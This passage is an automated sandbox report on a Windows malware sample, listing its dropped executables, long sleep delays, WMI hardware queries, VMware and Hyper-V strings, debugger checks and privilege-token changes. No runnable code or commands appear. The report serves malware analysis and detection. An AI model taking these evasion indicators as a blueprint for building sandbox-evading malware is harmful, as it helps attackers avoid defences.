Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\zQhPhksn.log	Jump to dropped file
Source: C:\PerfDll\hyperProviderSavesinto.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\msAjSsFc.log	Jump to dropped file
Source: C:\PerfDll\hyperProviderSavesinto.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\WiKMUFpI.log	Jump to dropped file

Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep
Source: C:\Windows\System32\conhost.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_7-14836
Source: C:\Windows\System32\PING.EXE	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep

Source: C:\Windows\System32\dialer.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

Source: C:\Windows\System32\conhost.exe	API coverage: 4.7 %
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	API coverage: 5.0 %
Source: C:\Windows\System32\conhost.exe	API coverage: 4.7 %
Source: C:\Windows\System32\PING.EXE	API coverage: 5.6 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7712	Thread sleep count: 3989 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7712	Thread sleep count: 5804 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7844	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe TID: 7864	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe TID: 7200	Thread sleep count: 105 > 30
Source: C:\Windows\System32\wbem\WmiPrvSE.exe TID: 7200	Thread sleep time: -105000s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -34126476536362649s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -600000s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -599812s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -599425s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -599292s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -599094s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -598729s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -598234s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -598125s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -598012s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -597672s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -597546s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -597437s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -597273s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -597171s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -597056s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -596804s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -596662s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -596542s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -596434s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -596327s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -596218s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -596108s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -596000s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -595890s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -595781s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -595628s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -595515s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -595406s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -595296s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -595187s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -595077s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -594968s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -594859s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -594750s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -594638s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -594530s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -594421s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -594311s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -594203s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -594093s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -593984s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -593875s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -593765s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -593656s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -593465s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -593324s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -593216s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -593099s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -592979s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -592867s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7744	Thread sleep time: -592762s >= -30000s
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe TID: 7788	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\dialer.exe TID: 7936	Thread sleep count: 8408 > 30
Source: C:\Windows\System32\dialer.exe TID: 7936	Thread sleep time: -840800s >= -30000s
Source: C:\Windows\System32\dialer.exe TID: 8036	Thread sleep count: 1449 > 30
Source: C:\Windows\System32\dialer.exe TID: 8036	Thread sleep time: -144900s >= -30000s
Source: C:\Windows\System32\winlogon.exe TID: 7656	Thread sleep count: 2545 > 30
Source: C:\Windows\System32\winlogon.exe TID: 7656	Thread sleep time: -2545000s >= -30000s
Source: C:\Windows\System32\winlogon.exe TID: 7656	Thread sleep count: 7455 > 30
Source: C:\Windows\System32\winlogon.exe TID: 7656	Thread sleep time: -7455000s >= -30000s

Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BaseBoard
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\PerfDll\hyperProviderSavesinto.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Code function: 0_2_00007FF7F4D7ECA0 EndDialog,SetDlgItemTextW,GetMessageW,IsDialogMessageW,TranslateMessage,DispatchMessageW,EndDialog,GetDlgItem,IsDlgButtonChecked,IsDlgButtonChecked,SetFocus,GetLastError,GetLastError,GetTickCount,GetLastError,GetCommandLineW,CreateFileMappingW,MapViewOfFile,ShellExecuteExW,Sleep,UnmapViewOfFile,CloseHandle,SetDlgItemTextW,SetDlgItemTextW,GetDlgItem,GetWindowLongPtrW,SetWindowLongPtrW,SetDlgItemTextW,IsDlgButtonChecked,SendDlgItemMessageW,GetDlgItem,IsDlgButtonChecked,GetDlgItem,SetDlgItemTextW,SetDlgItemTextW,DialogBoxParamW,EndDialog,EnableWindow,IsDlgButtonChecked,SetDlgItemTextW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	0_2_00007FF7F4D7ECA0
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Code function: 0_2_00007FF7F4D6647C FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	0_2_00007FF7F4D6647C
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Code function: 0_2_00007FF7F4D930F0 FindFirstFileExA,	0_2_00007FF7F4D930F0
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Code function: 1_2_00D5A69B FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	1_2_00D5A69B
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Code function: 1_2_00D6C220 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	1_2_00D6C220
Source: C:\Windows\System32\conhost.exe	Code function: 7_2_000001B0BB98DCE0 FindFirstFileExW,	7_2_000001B0BB98DCE0
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 9_2_00000216D26FDCE0 FindFirstFileExW,	9_2_00000216D26FDCE0
Source: C:\Windows\System32\cmd.exe	Code function: 38_2_00000150E93EDCE0 FindFirstFileExW,	38_2_00000150E93EDCE0
Source: C:\Windows\System32\conhost.exe	Code function: 40_2_00000267FCE9DCE0 FindFirstFileExW,	40_2_00000267FCE9DCE0
Source: C:\Windows\System32\PING.EXE	Code function: 45_2_000002359B52DCE0 FindFirstFileExW,	45_2_000002359B52DCE0
Source: C:\Windows\System32\winlogon.exe	Code function: 49_2_00000225DC64DCE0 FindFirstFileExW,	49_2_00000225DC64DCE0

Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe

Code function: 0_2_00007FF7F4D850F4 VirtualQuery,GetSystemInfo,

0_2_00007FF7F4D850F4

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 600000
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 599812
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 599425
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 599292
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 599094
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 598729
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 598234
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 598125
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 598012
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 597672
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 597546
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 597437
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 597273
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 597171
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 597056
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 596804
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 596662
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 596542
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 596434
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 596327
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 596218
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 596108
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 596000
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 595890
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 595781
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 595628
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 595515
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 595406
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 595296
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 595187
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 595077
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 594968
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 594859
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 594750
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 594638
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 594530
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 594421
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 594311
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 594203
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 594093
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 593984
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 593875
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 593765
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 593656
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 593465
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 593324
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 593216
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 593099
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 592979
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 592867
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 592762
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Thread delayed: delay time: 922337203685477

Source: C:\PerfDll\hyperProviderSavesinto.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: GargantuaN.exe, 00000001.00000003.1641039969.0000000003502000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}G
Source: wscript.exe, 00000003.00000003.1698379391.000000000332C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}f
Source: hyperProviderSavesinto.exe, 00000008.00000002.1751357469.000000001BB39000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}8b}K
Source: KZcLqgnLvRf.exe, 00000014.00000002.2908332950.000000001B8A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllll:
Source: wscript.exe, 00000003.00000003.1698379391.000000000332C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\C
Source: PING.EXE, 0000002D.00000002.1838656558.000002359AF59000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllhh

Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	API call chain: ExitProcess graph end node			graph_1-24978
Source: C:\Windows\System32\dialer.exe	API call chain: ExitProcess graph end node

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe

Code function: 0_2_00007FF7F4D86900 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF7F4D86900

Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe

Code function: 1_2_00D77DEE mov eax, dword ptr fs:[00000030h]

1_2_00D77DEE

Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe

Code function: 0_2_00007FF7F4D94170 GetProcessHeap,

0_2_00007FF7F4D94170

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process token adjusted: Debug
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Process token adjusted: Debug
Source: C:\Windows\System32\dialer.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Code function: 0_2_00007FF7F4D86900 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF7F4D86900
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Code function: 0_2_00007FF7F4D86AE4 SetUnhandledExceptionFilter,	0_2_00007FF7F4D86AE4
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Code function: 0_2_00007FF7F4D85CA0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF7F4D85CA0
Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Code function: 0_2_00007FF7F4D8AC28 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF7F4D8AC28
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Code function: 1_2_00D6F838 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00D6F838
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Code function: 1_2_00D6F9D5 SetUnhandledExceptionFilter,	1_2_00D6F9D5
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Code function: 1_2_00D6FBCA SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00D6FBCA
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Code function: 1_2_00D78EBD IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00D78EBD
Source: C:\Windows\System32\conhost.exe	Code function: 7_2_000001B0BB98D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_000001B0BB98D2A4
Source: C:\Windows\System32\conhost.exe	Code function: 7_2_000001B0BB987D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_000001B0BB987D90
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 9_2_00000216D26F7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_00000216D26F7D90
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 9_2_00000216D26FD2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_00000216D26FD2A4
